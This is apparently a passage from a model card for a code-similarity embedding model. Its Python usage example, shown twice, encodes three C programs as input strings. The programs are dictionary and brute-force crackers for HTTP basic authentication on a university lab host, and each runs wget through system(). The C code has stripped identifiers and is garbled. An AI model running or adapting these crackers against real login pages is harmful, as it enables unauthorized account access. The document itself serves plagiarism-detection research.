    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])

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